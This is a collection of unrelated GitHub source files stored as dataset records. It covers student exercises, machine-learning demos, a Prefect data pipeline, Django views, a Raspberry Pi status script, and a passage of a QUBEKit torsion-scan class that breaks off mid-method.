cipherText.configure(background=\"white\")\n cipherText.configure(borderwidth=\"2\")\n cipherText.configure(font=\"-family {@Malgun Gothic} -size 13\")\n cipherText.configure(foreground=\"black\")\n\n encryptPolybius = Button(polybiusW, command=polybiusE)\n encryptPolybius.place(relx=0.419, rely=0.305, height=34, width=115)\n encryptPolybius.configure(background=\"#ffffff\")\n encryptPolybius.configure(borderwidth=\"3\")\n encryptPolybius.configure(cursor=\"hand2\")\n encryptPolybius.configure(font=\"-family {@Malgun Gothic} -size 10\")\n encryptPolybius.configure(foreground=\"#000000\")\n encryptPolybius.configure(text='''Зашифровать ->''')\n\n decipherPolybius = Button(polybiusW, command=polybiusD)\n decipherPolybius.place(relx=0.419, rely=0.455, height=34, width=114)\n decipherPolybius.configure(background=\"#ffffff\")\n decipherPolybius.configure(borderwidth=\"3\")\n decipherPolybius.configure(cursor=\"hand2\")\n decipherPolybius.configure(font=\"-family {@Malgun Gothic} -size 10\")\n decipherPolybius.configure(foreground=\"#000000\")\n decipherPolybius.configure(text='''<-Расшифровать''')\n\n headPolybius = Label(polybiusW)\n headPolybius.place(relx=0.279, rely=0.075, height=52, width=341)\n headPolybius.configure(background=\"#ffcece\")\n headPolybius.configure(font=\"-family {Open Sans Light} -size 20 -weight bold\")\n headPolybius.configure(foreground=\"#000000\")\n headPolybius.configure(text='''Шифр Плейфера''')\n\n information = Button(polybiusW, command=polybiusI)\n information.place(relx=0.95, rely=0.038, height=24, width=27)\n information.configure(background=\"#ffffff\")\n information.configure(borderwidth=\"3\")\n information.configure(compound='left')\n information.configure(cursor=\"question_arrow\")\n information.configure(font=\"-family {Segoe UI} -size 11\")\n information.configure(foreground=\"#000000\")\n information.configure(text='''?''')\n\n keyPolybius = Entry(polybiusW)\n keyPolybius.place(relx=0.419, rely=0.602, height=30, relwidth=0.159)\n keyPolybius.configure(background=\"white\")\n keyPolybius.configure(borderwidth=\"2\")\n keyPolybius.configure(font=\"-family {@Malgun Gothic} -size 14\")\n keyPolybius.configure(foreground=\"#000000\")\n\n headKey = Label(polybiusW)\n headKey.place(relx=0.425, rely=0.714, height=11, width=103)\n headKey.configure(background=\"#ffcece\")\n headKey.configure(font=\"-family {@Malgun Gothic} -size 8\")\n headKey.configure(foreground=\"#000000\")\n headKey.configure(text='''Ключевое слово''')\n\n\n\n TCombobox1 = ttk.Combobox(polybiusW)\n TCombobox1.place(relx=0.768, rely=0.038, relheight=0.079\n , relwidth=0.158)\n TCombobox1['values'] = (\"Русский\", \"Английский\")\n TCombobox1.current(0) # установите вариант по умолчанию\n\n polybiusW.mainloop()","repo_name":"yablockoJiMori/cripte_symmetric","sub_path":"playfair.py","file_name":"playfair.py","file_ext":"py","file_size_in_byte":21484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14727661814","text":"import os\nimport logging\nimport uuid\nfrom logging import Handler, FileHandler, StreamHandler\n\n\nclass PathFileHandler(FileHandler):\n def __init__(self, path, filename, mode='test_before', encoding=None, delay=False):\n\n filename = os.fspath(filename)\n if not os.path.exists(path):\n os.mkdir(path)\n self.baseFilename = os.path.join(path, filename)\n self.mode = mode\n self.encoding = encoding\n self.delay = delay\n if delay:\n Handler.__init__(self)\n self.stream = None\n else:\n StreamHandler.__init__(self, self._open())\n\n\nclass Loggers(object):\n # 日志级别关系映射\n level_relations = {\n 'debug': logging.DEBUG, 'info': logging.INFO, 'warning': logging.WARNING,\n 'error': logging.ERROR, 'critical': logging.CRITICAL\n }\n\n def __init__(self, filename='{uid}.log'.format(uid=uuid.uuid4()), level='info', log_dir='log',\n fmt='%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s'):\n self.logger = logging.getLogger(filename)\n abspath = os.path.dirname(os.path.abspath(__file__))\n self.directory = os.path.join(abspath, log_dir)\n format_str = logging.Formatter(fmt) # 设置日志格式\n self.logger.setLevel(self.level_relations.get(level)) # 设置日志级别\n stream_handler = logging.StreamHandler() # 往屏幕上输出\n stream_handler.setFormatter(format_str)\n file_handler = PathFileHandler(path=self.directory, filename=filename, mode='test_before')\n file_handler.setFormatter(format_str)\n self.logger.addHandler(stream_handler)\n self.logger.addHandler(file_handler)\n\n\nif __name__ == \"__main__\":\n txt = \"关注公众号【进击的 Coder】,回复『日志代码』可以领取文章中完整的代码以及流程图\"\n log = Loggers(level='debug')\n log.logger.info(4)\n log.logger.info(5)\n log.logger.info(txt)\n","repo_name":"hsyy673150343/PythonLearning","sub_path":"模块/logging模块/coder.py","file_name":"coder.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"13201412395","text":"N, M = map(int, input().split())\n\nmat = list()\nans = list()\n\nfor i in range(N):\n temp = input()\n row = list()\n for t in temp:\n row.append(int(t))\n mat.append(row)\n\nfor i in range(N):\n temp = input()\n row = list()\n for t in temp:\n row.append(int(t))\n ans.append(row)\n\n\nrow = 0\ncol = 0\n\nif N < 3 or M < 3:\n for col in range(N):\n for row in range(M):\n if mat[col][row] != ans[col][row]:\n print(-1)\n quit()\n print(0)\n quit()\n\ncount = 0\n\nwhile True:\n if col > N-1 or row > M-1:\n print(-1)\n quit()\n if mat[col][row] != ans[col][row]:\n if col+3 > N or row+3 > M:\n print(-1)\n quit()\n else:\n count += 1\n for c in range(3):\n for e in range(3):\n if mat[col+c][row+e] == 0:\n mat[col+c][row+e] = 1\n else:\n mat[col+c][row+e] = 0\n\n\n if row+3 > M:\n col += 1\n row = 0\n elif col+3 > N:\n for i in range(N):\n for l in range(M):\n if mat[i][l] != ans[i][l]:\n print(-1)\n quit()\n print(count)\n quit()\n else:\n row += 1","repo_name":"mushroom1324/Algorithm","sub_path":"BOJ_1080.py","file_name":"BOJ_1080.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"7561203402","text":"import matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split, cross_val_score\r\nfrom sklearn.metrics import accuracy_score\r\nimport pandas as pd\r\nimport seaborn as sns\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\n\r\n# Importing the dataset\r\ndataset = pd.read_csv('bcdata.csv')\r\n\r\n# looking at the first 5 values of the dataset\r\ndataset.head()\r\n\r\n# Splitting the dataset in independent and dependent variables\r\nX = dataset.iloc[:, 1:10].values\r\nY = dataset['Class'].values\r\n\r\n# Splitting the dataset into the Training set and Test set\r\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.20)\r\n\r\n# Fitting KNN Classifier to the Training set with linear kernel\r\nknnclassifier = KNeighborsClassifier(n_neighbors=10)\r\nknnclassifier.fit(X_train, y_train)\r\n\r\n# Making the prediction on test data\r\ny_pred = knnclassifier.predict(X_test)\r\n\r\n# Calculating Model Accuracy\r\naccuracy = accuracy_score(y_test,y_pred)*100\r\n\r\n# Printing the accuracy score of prediction and train test data\r\nprint('\\nAccuracy of KNN classifier on Training Set: {:.2f}'\r\n .format(knnclassifier.score(X_train, y_train)))\r\nprint('\\nAccuracy of KNN classifier on Test Set: {:.2f}'\r\n .format(knnclassifier.score(X_test, y_test)))\r\nprint('\\nAccuracy of Prediction :', str(round(accuracy, 2)) + ' %.')\r\n\r\n# Now lets understand the Accuracy of KNN on various value of neighbor by creating list of K for KNN\r\nk_list = list(range(1, 50, 1))\r\n\r\n# creating list of cv scores\r\ncv_scores = []\r\n\r\n# perform 10-fold cross validation\r\nfor k in k_list:\r\n knn = KNeighborsClassifier(n_neighbors=k)\r\n scores = cross_val_score(knn, X_train, y_train, cv=10, scoring='accuracy')\r\n cv_scores.append(scores.mean())\r\n\r\n# printing klist and cv_score\r\nprint(k_list)\r\nprint(cv_scores)\r\n\r\n# changing to misclassification error\r\nMSE = [1 - x for x in cv_scores]\r\n\r\n# Calculating best value of K\r\nbest_k = k_list[MSE.index(min(MSE))]\r\nprint(\"The optimal number of neighbors is %d.\" % best_k)\r\n\r\nplt.figure(figsize=(15, 10))\r\nplt.title('The optimal number of neighbors', fontsize=20, fontweight='bold')\r\nplt.xlabel('Number of Neighbors K', fontsize=15)\r\nplt.ylabel('Misclassification Error', fontsize=15)\r\nsns.set_style(\"whitegrid\")\r\nplt.plot(k_list, MSE)\r\nplt.show()","repo_name":"SnehaMishra28/Python-DeepLearning_Fall2018","sub_path":"Mod1_Lab2/Source/mod1_lab2/KNN.py","file_name":"KNN.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31100806979","text":"import cv2\r\nimport numpy as np \r\nfrom matplotlib import pyplot as plt\r\n\r\ndef maior(blue, green, red):\r\n if(blue > green):\r\n if(blue > red):\r\n return \"a imagem é mais azul\"\r\n else:\r\n return \"a imagem é mais vermelha\"\r\n elif(green > red):\r\n return \"a imagem é mais verde\"\r\n else:\r\n return \"a imagem é mais vermelha\"\r\n\r\ndog = cv2.imread(\"trabalho2/cachorro.jpg\")\r\ndog = cv2.cvtColor(dog, cv2.COLOR_BGR2RGB)\r\naltura, largura, _ = dog.shape\r\n\r\nr, g, b = cv2.split(dog)\r\n\r\nplt.subplot(1, 3, 1), plt.imshow(b, cmap=\"gray\"), plt.title(\"BLUE\"), plt.xticks([]), plt.yticks([])\r\nplt.subplot(1, 3, 2), plt.imshow(g, cmap=\"gray\"), plt.title(\"GREEN\"), plt.xticks([]), plt.yticks([])\r\nplt.subplot(1, 3, 3), plt.imshow(r, cmap=\"gray\"), plt.title(\"RED\"), plt.xticks([]), plt.yticks([])\r\n\r\nblue = 0\r\ngreen = 0\r\nred = 0\r\n\r\nfor y in range(altura):\r\n for x in range(largura):\r\n blue += dog.item(y, x, 2)\r\n green += dog.item(y, x, 1)\r\n red += dog.item(y, x, 0)\r\n\r\nblue = blue/(altura*largura)\r\ngreen = green/(altura*largura)\r\nred = red/(altura*largura)\r\n\r\nprint(maior(blue, green, red))\r\n\r\nplt.show()","repo_name":"g4briel-rp/trabalho_PDI","sub_path":"parte2.py","file_name":"parte2.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28827495877","text":"#%%\nfrom sklearn.svm import SVC\nfrom sklearn import datasets\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n\nX, y = datasets.make_circles(n_samples=500,\n factor=0.3,\n noise=0.1)\nax = plt.subplot(111)\nax.set_facecolor((0.85, 0.85, 0.85))\nax.scatter(X[:,0], X[:,1], c=y, edgecolors='k', alpha=0.5)\nax.set_aspect('equal')\nplt.show()\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection = \"3d\")\nax.scatter(X[:,0], X[:,1], np.sqrt(X[:, 0]**2 + X[:,1]**2),\n c = y, s =10)\nax.view_init(20, 35)\nplt.show()\n# %%\nmodel = SVC(kernel='poly', degree=2, coef0=1, C=10)\nmodel.fit(X, y)\n\nx_min = X[:, 0].min() - 0.5\nx_max = X[:, 0].max() + 0.5\ny_min = X[:, 1].min() - 0.5\ny_max = X[:, 1].max() + 0.5\n\nxx, yy = np.meshgrid(\n np.linspace(x_min, x_max, 500),\n np.linspace(y_min, y_max, 500)\n)\nxy_list = np.c_[xx.ravel(), yy.ravel()]\nax = plt.subplot(111)\n\nZ = model.predict(xy_list)\nZ = Z.reshape(xx.shape)\nax.contourf(xx, yy, Z, cmap='plasma', alpha=0.25)\n\nZ = model.decision_function(xy_list)\nZ = Z.reshape(xx.shape)\nax.contour(xx, yy, Z, colors='k', levels=[-1,0,1],\n linestyles=['--','-','--'], linewidths=1,\n alpha=0.5)\n\nax.scatter(X[:,0],X[:,1], c=y, edgecolors='k',alpha=0.5)\nax.set_aspect('equal')\n\nplt.scatter(\n model.support_vectors_[:,0],\n model.support_vectors_[:,1],\n s=150, facecolors='none', edgecolors='gray',\n linewidths=0.5\n)\n# %%\n","repo_name":"1994ericlee/assignment","sub_path":"Advanced AI/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24662386128","text":"# XOR Operation in an Array\n# You are given an integer n and an integer start.\n# Define an array nums where nums[i] = start + 2 * i (0-indexed) and n == nums.length.\n# Return the bitwise XOR of all elements of nums.\n\ndef xorOperation (n, start) :\n sum = start\n counter = 1\n while (counter < n) :\n sum ^= (start + 2 * counter)\n counter += 1\n return sum\nprint(xorOperation(n = 5, start = 0))","repo_name":"vibhatsu08/leetcode-python","sub_path":"XORoperationInAnArray.py","file_name":"XORoperationInAnArray.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31992111406","text":"from DB.DML import DML\nfrom crawling.crawlingmlbimg import CrawlingMlbImg\n\nif __name__ == \"__main__\":\n dml_instance = DML()\n\n table_name = \"baseball_players\"\n # select_list = [\"uid\", \"full_name\"]\n select_list = [\"name_slug\"]\n # players = dml_instance.get_select_from_where(column_names=select_list, table_name=table_name)\n condition = \"img_url is null\"\n players = dml_instance.get_select_from_where(column_names=select_list, table_name=table_name,condition=condition, print_sql=True)\n print(f'남은 크롤링할 선수 사진 수: {len(players)}')\n row_num1 = len(players) // 5\n row_num2 = len(players) // 5 * 2\n row_num3 = len(players) // 5 * 3\n row_num4 = len(players) // 5 * 4\n row_num5 = len(players)\n\n field_name = \"img_url\"\n # CrawlingMlbImg.save_db(table_name=table_name, player_names=players[now_num:row_num1], field_name=field_name)\n CrawlingMlbImg.save_db_by_name_slug(table_name=table_name, name_slugs=players[row_num4:], field_name=field_name)\n\n # 찬호\n # CrawlingGoogleImg.main(players[row_num1:row_num2])\n # 예림\n # CrawlingGoogleImg.main(players[row_num2:row_num3])\n","repo_name":"ehddn5252/ssafy_pjt2_data_processing","sub_path":"crwaler_main/picture_crwaler.py","file_name":"picture_crwaler.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25782867970","text":"from datetime import date\nimport os\nimport extras.functions as ef\nfrom prefect import flow\n\n\n@flow(log_prints=True, retries=3, retry_delay_seconds=10, persist_result=False)\ndef extract_load(site_url: str, to_folder: str, file_type: str, start_year: int, end_year: int) -> None:\n\n YEARS_TO_DOWNLOAD = range(start_year, end_year + 1)\n\n # downloads\n print(\"Started to download files.\")\n for year in YEARS_TO_DOWNLOAD:\n work_dir = to_folder\n print(f\"Downloading {year}.zip\")\n downloaded_file = ef.downloader(url=f\"{site_url}{year}{file_type}\",\n folder=work_dir, filename=f\"{year}{file_type}\")\n\n # unzip\n zip_ext_dir = ef.unziper(\n zip_file=downloaded_file, folder=work_dir, year=year)\n\n # csvs to df\n print(f\"CSVs {year}.zip to DataFrame\")\n all_dfs_list = ef.csv_to_pd(foldername=zip_ext_dir)\n\n # remove sub-folder container for year, if so\n sub_folder = work_dir + str(year)\n if os.path.exists(sub_folder):\n os.rmdir(sub_folder)\n\n # df to parquet\n print(f\"DataFrame {year} to Parquet\")\n pq_file = ef.generate_parquet(all_dfs=all_dfs_list,\n folder=\"pqs/\", filename=str(year))\n\n # parquet to GCS\n print(f\"Upload {year}.Parquet to GCS\")\n ef.upload_parquet(filename=pq_file)\n\n # remove working folder\n if os.path.exists(to_folder):\n os.rmdir(to_folder)\n\n\n@flow(log_prints=True, retries=3, retry_delay_seconds=10, persist_result=False)\ndef main_flow(dict_param: dict) -> None:\n\n # Flow for Extract and Load\n extract_load(site_url=dict_param[\"BASE_URL\"],\n to_folder=dict_param[\"DEST_DIR\"],\n file_type=dict_param[\"FILE_EXT\"],\n start_year=dict_param[\"START_YEAR\"],\n end_year=dict_param[\"END_YEAR\"],\n )\n \n #create BG table\n ef.create_bg_ext_table(\"raw_zone\")\n\n # Flow for dbt Transform\n \n\nif __name__ == \"__main__\":\n flow_param = dict(\n BASE_URL=\"https://portal.inmet.gov.br/uploads/dadoshistoricos/\",\n DEST_DIR=\"./dump_zips/\",\n FILE_EXT=\".zip\",\n START_YEAR=date.today().year - 10,\n END_YEAR=date.today().year,\n )\n\n main_flow(dict_param=flow_param)\n","repo_name":"romiof/brazil-weather","sub_path":"prefect/elt_flow.py","file_name":"elt_flow.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32322459719","text":"class Solution:\n \"\"\"\n @param nums: a list of integers.\n @param k: length of window.\n @return: the sum of the element inside the window at each moving.\n \"\"\"\n def winSum(self, nums, k):\n # write your code here\n ret = []\n if nums:\n ret.append(0)\n for i in range(k):\n ret[0] += nums[i]\n for i in range(1, len(nums) - k + 1):\n ret.append(ret[i - 1] - nums[i - 1] + nums[i + k - 1])\n return ret;\n\n# easy: https://www.lintcode.com/problem/window-sum/\n","repo_name":"yingl/LintCodeInPython","sub_path":"window-sum.py","file_name":"window-sum.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"31"} +{"seq_id":"11595094947","text":"from django.shortcuts import render, HttpResponse\nfrom . models import Pelicula, PeliculaID, Director, Genero\n\n# Create your views here.\n\ndef index(request):\n num_peliculas = Pelicula.objects.all().count()\n num_ids = PeliculaID.objects.all().count()\n \n disponibles = PeliculaID.objects.filter(status__exact='d').count()\n num_director = Director.objects.all().count()\n num_genero = Genero.objects.all().count()\n \n return render(\n request, \n 'index.html',\n context={\n 'num_peliculas': num_peliculas,\n 'num_director': num_director,\n 'disponibles': disponibles,\n 'num_ids': num_ids,\n 'num_genero': num_genero,\n }\n ) \n \ndef peliculas(request):\n nombre = Pelicula.titulo\n return render(\n request,\n 'peliculas.html'\n )\n \ndef directores(request):\n nombre = Director.nombre\n apellido = Director.apellido\n return render(\n request,\n 'directores.html'\n ) ","repo_name":"vicbassdeveloper/EjerciciosOpenBootCamp","sub_path":"cursopython/Tema12.0/catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43508275791","text":"import numpy as np\n\ndef RRR_elbow(l1,l2,l3,d,theta_1,theta_2,theta_3):\n\n theta_1=theta_1*np.pi/180\n theta_2=theta_2*np.pi/180\n theta_3=theta_3*np.pi/180\n \n H_01=np.array([[np.cos(theta_1),-np.sin(theta_1),0,0],\n [np.sin(theta_1),np.cos(theta_1),0,0],\n [0,0,1,0],\n [0,0,0,1]])\n\n\n H_12=np.array([[np.cos(theta_2),-np.sin(theta_2),0,l1],\n [np.sin(theta_2),np.cos(theta_2),0,0],\n [0,0,1,0],\n [0,0,0,1]])\n \n H_23=np.array([[np.cos(theta_3),-np.sin(theta_3),0,l2],\n [np.sin(theta_3),np.cos(theta_3),0,0],\n [0,0,1,0],\n [0,0,0,1]])\n\n p_1=np.array([[l1],[0],[0],[1]])\n p_2=np.array([[l2],[0],[0],[1]])\n p_3=np.array([[l3],[0],[0],[1]])\n \n O0=np.array([[0],[0],[0]])\n O1=(H_01@p_1)[:-1]\n O2=(H_01@H_12@p_2)[:-1]\n O3=(H_01@H_12@H_23@p_3)[:-1]\n\n z0=np.array([[0],[0],[1]])\n z1=np.array([[0],[0],[1]])\n z2=np.array([[0],[0],[1]])\n\n\n jacobian=np.concatenate((np.concatenate((np.cross(z0.T,(O3-O0).T).T,np.cross(z1.T,(O3-O1).T).T,np.cross(z2.T,(O3-O2).T).T),axis=1),\n np.concatenate((z0,z1,z2),axis=1)),axis=0)\n\n \n\n return print(jacobian.real)\n\n#Enter the arguments below \ntheta_1=80 # angle in degree\ntheta_2=50 # angle isn degree\ntheta_3=40\n\nl1=4 # length of arm 1\nl2=5 # length of arm 2\nl3=5\nd=2 # instantaneous distance from prismatic joint\n\nRRR_elbow(l1,l2,l3,d,theta_1,theta_2,theta_3)","repo_name":"Tejendra00/ME639-Robotics","sub_path":"Assignement_2/Que10.py","file_name":"Que10.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42961342385","text":"# Т16.17 Описати генератор-функцію, що повертає всі доданки нескінченної\n# суми дійсних чисел, заданої співвідношенням, та обчислити суму всіх\n# доданків при заданому значенні x, що за абсолютною величиною не\n# перевищують заданого ε > 0:\ndef generator(x, eps):\n power = 1\n try:\n while True:\n power += 1\n addend = sign(power) * x**power/power\n if addend > eps:\n raise StopIteration\n yield addend\n except StopIteration:\n pass\n\ndef sign(power):\n if power % 2 == 0:\n return -1\n return 1\n\nx, eps = float(input('input x: ')), float(input('input eps: '))\n\nprint('y = ln(1+x) Addends:')\ncounter = 0\nprint(counter, x)\nfor x in generator(x, eps):\n counter += 1\n print(counter, x)\n","repo_name":"cyberskeleton/sandbox","sub_path":"2020-03-07hw3.py","file_name":"2020-03-07hw3.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18568161536","text":"import sys\nfrom heapq import heappush, heappop\ninput = sys.stdin.readline\n\n\ndef prim():\n Q = [(0, 1)]\n visit = [False] * (V + 1)\n cnt = 0\n\n ans = maxV = 0\n while cnt < V:\n cost, curV = heappop(Q)\n if visit[curV]: continue\n visit[curV] = True\n cnt += 1\n ans += cost\n if maxV < cost:\n maxV = cost\n\n for neiCost, neiV in adj[curV]:\n if not visit[neiV]:\n heappush(Q, (neiCost, neiV))\n\n return ans - maxV\n\n\nV, E = map(int, input().split())\nadj = [[] for _ in range(V + 1)]\nfor _ in range(E):\n A, B, C = map(int, input().split())\n adj[A].append((C, B))\n adj[B].append((C, A))\n\nprint(prim())","repo_name":"seunghee73/may-algo-study","sub_path":"0530/1647_hyry.py","file_name":"1647_hyry.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34167094940","text":"\nimport io,json\nimport commands\nbasic={\n\t\t\"Hostname\" : \"hostname -b\",\n\t\t\"Distro Name\":\"uname -s\",\n\t\t\"Kernel Version\":\"uname -v\",\n\t\t\"Date\":\"date\",\n\t\t\"Machine\":\"uname -m\",\n\t\t\"Voltage\":\"vcgencmd measure_volts core\",\n\t\t\"Temperature\":\"vcgencmd measure_temp\"\n\n}\nnetwork={\n \n\t\t\tx:{\n\t\t\t\t\"IP address\" : \"/sbin/ifconfig \"+x+\" | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'\",\n\t\t\t\t\"IP loopback\": \"hostname -i\",\n\t\t\t\t\"Broadcast\" : \"/sbin/ifconfig \"+x+\" | grep 'inet addr:' | cut -d: -f3 | awk '{ print $1}'\",\n\t\t\t\t\"Subnetmask\" : \"/sbin/ifconfig \"+x+\" | grep 'inet addr:' | cut -d: -f4 | awk '{ print $1}'\",\n\t\t\t\t\"MAC\"\t\t :\"/sbin/ifconfig \"+x+\" | grep 'HWaddr' | tr -s ' ' |cut -d' ' -f5\",\n\t\t\t\t\"RX packet\" :\"/sbin/ifconfig \"+x+\" | grep 'RX packet' | cut -d: -f2 | awk '{ print $1}'\",\n\t\t\t\t\"TX packet\" :\"/sbin/ifconfig \"+x+\" | grep 'TX packet' | cut -d: -f2 | awk '{ print $1}'\",\n\t\t\t\t\"RX bytes\" :\"/sbin/ifconfig \"+x+\" | grep 'RX bytes' | cut -d: -f2 | awk '{ print $1$2$3}'\",\n\t\t\t\t\"TX bytes\"\t :\"/sbin/ifconfig \"+x+\" | grep 'TX bytes' | cut -d: -f2 | awk '{ print $1$2$3}'\"\n\t\t\t\t} for x in (\"eth0\",\"lo\")\n\t\t\t# \"\":\"\",\n}\n#print(commands.getoutput(basic[\"Date\"]))\nfor key, value in basic.items():\n\tbasic[key]=commands.getoutput(basic[key])\n#print(basic)\n\nfor key, value in network[\"eth0\"].items():\n\tnetwork[\"eth0\"][key]=commands.getoutput(network[\"eth0\"][key])\n\nstatus=[basic,network]\nwith open('sta/j.json', 'w') as file:\n\tjson.dump(basic, file)\n#with io.open('data.txt', 'w', encoding='utf-8') as f:\n#\tf.write(unicode(json.dump(data, ensure_ascii=False)))\n#\tfile.write(string(basic))\n#print(commands.getoutput(basic[\"Date\"]))\n#for key, value in basic.items():\n# \tbasic[key]=commands.getoutput(basic[key])\n#print(basic)\n\n#for key, value in network[\"eth0\"].items():\n# network[\"eth0\"][key]=commands.getoutput(network[\"eth0\"][key])\n#print(network[\"eth0\"])\n\n","repo_name":"grit0/project","sub_path":"json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24009353658","text":"#!/usr/bin/env python\n\nfrom QUBEKit.decorators import timer_logger, for_all_methods\n\nfrom simtk.openmm import app\nimport simtk.openmm as mm\nfrom simtk import unit\nfrom numpy import array, zeros, sqrt, sum, exp, round, append\nfrom scipy.optimize import minimize\n\nfrom subprocess import run as sub_run\nfrom collections import OrderedDict\nfrom copy import deepcopy\nfrom os import chdir, mkdir, system, getcwd\nfrom shutil import rmtree\n\nimport matplotlib.pyplot as plt\n\n\n@for_all_methods(timer_logger)\nclass TorsionScan:\n \"\"\"\n This class will take a QUBEKit molecule object and perform a torsiondrive QM energy scan\n for each selected dihedral.\n\n inputs\n ---------------\n molecule A QUBEKit Ligand instance\n qm_engine A QUBEKit QM engine instance that will be used for calculations\n native_opt Should we use the QM engines internal optimizer or torsiondrive/geometric\n\n attributes\n ---------------\n grid_space The distance between the scan points on the surface\n \"\"\"\n\n def __init__(self, molecule, qm_engine, native_opt=False, verbose=False):\n\n # engine info\n self.qm_engine = qm_engine\n self.grid_space = self.qm_engine.fitting['increment']\n self.native_opt = native_opt\n self.verbose = verbose\n\n # molecule\n self.scan_mol = molecule\n self.constraints = None\n\n # working dir\n self.home = getcwd()\n\n # setup methods\n self.cmd = {}\n self.find_scan_order()\n self.torsion_cmd()\n\n def find_scan_order(self):\n \"\"\"\n Function takes the molecule and displays the rotatable central bonds,\n the user then enters the number of the torsions to be scanned in the order to be scanned.\n The molecule can also be supplied with a scan order already, if coming from csv\n or chosen in the input string.\n \"\"\"\n\n if self.scan_mol.scan_order:\n return self.scan_mol\n\n elif len(self.scan_mol.rotatable) == 1:\n print('One rotatable torsion found')\n self.scan_mol.scan_order = self.scan_mol.rotatable\n\n elif len(self.scan_mol.rotatable) == 0:\n print('No rotatable torsions found in the molecule')\n self.scan_mol.scan_order = []\n\n else:\n # Get the rotatable dihedrals from the molecule\n rotatable = list(self.scan_mol.rotatable)\n print('Please select the central bonds round which you wish to scan in the order to be scanned')\n print('Torsion number Central-Bond Representative Dihedral')\n for i, bond in enumerate(rotatable):\n print(f' {i + 1} {bond[0]}-{bond[1]} '\n f'{self.scan_mol.atom_names[self.scan_mol.dihedrals[bond][0][0] - 1]}-'\n f'{self.scan_mol.atom_names[self.scan_mol.dihedrals[bond][0][1] - 1]}-'\n f'{self.scan_mol.atom_names[self.scan_mol.dihedrals[bond][0][2] - 1]}-'\n f'{self.scan_mol.atom_names[self.scan_mol.dihedrals[bond][0][3] - 1]}')\n\n scans = list(input('>')) # Enter as a space separated list\n scans[:] = [scan for scan in scans if scan != ' '] # remove all spaces from the scan list\n\n scan_order = []\n # Add the rotatable dihedral keys to an array\n for scan in scans:\n scan_order.append(rotatable[int(scan) - 1])\n self.scan_mol.scan_order = scan_order\n\n def qm_scan_input(self, scan):\n \"\"\"Function takes the rotatable dihedrals requested and writes a scan input file for torsiondrive.\"\"\"\n\n with open('dihedrals.txt', 'w+') as out:\n\n out.write('# dihedral definition by atom indices starting from 0\\n# i j k l\\n')\n scan_di = self.scan_mol.dihedrals[scan][0]\n out.write(f' {scan_di[0]} {scan_di[1]} {scan_di[2]} {scan_di[3]}\\n')\n\n # TODO need to add PSI4 redundant mode selector\n\n if self.native_opt:\n self.qm_engine.generate_input(optimise=True)\n\n else:\n self.qm_engine.geo_gradient(run=False)\n\n def torsion_cmd(self):\n \"\"\"Generates a command string to run torsiondrive based on the input commands for QM and MM.\"\"\"\n\n # add the first basic command elements for QM\n cmd_qm = f'torsiondrive-launch {self.scan_mol.name}.psi4in dihedrals.txt '\n\n if self.grid_space:\n cmd_qm += f'-g {self.grid_space} '\n\n if self.qm_engine:\n cmd_qm += '-e psi4 '\n\n if self.native_opt:\n cmd_qm += '--native_opt '\n\n if self.verbose:\n cmd_qm += '-v '\n\n self.cmd = cmd_qm\n\n def get_energy(self, scan):\n \"\"\"\n Extracts an array of energies from the scan results then stores it back\n into the molecule (in a dictionary) using the scan orders as the keys.\n \"\"\"\n\n with open('scan.xyz', 'r') as scan_file:\n scan_energy = []\n for line in scan_file:\n if 'Energy ' in line:\n scan_energy.append(float(line.split()[3]))\n\n self.scan_mol.qm_scan_energy[scan] = array(scan_energy)\n\n def start_scan(self):\n \"\"\"Makes a folder and writes a new a dihedral input file for each scan and runs the scan.\"\"\"\n\n # TODO QCArchive/Fractal search don't do a calc that has been done!\n\n # TODO\n # if the molecule has multiple scans to do they should all start at the same time as this is slow\n # We must also make sure that we don't exceed the core limit when we do this!\n # e.g. user gives 6 cores for QM and we run two drives that takes 12 cores!\n\n for scan in self.scan_mol.scan_order:\n mkdir(f'SCAN_{scan[0]}_{scan[1]}')\n chdir(f'SCAN_{scan[0]}_{scan[1]}')\n mkdir('QM_torsiondrive')\n chdir('QM_torsiondrive')\n\n 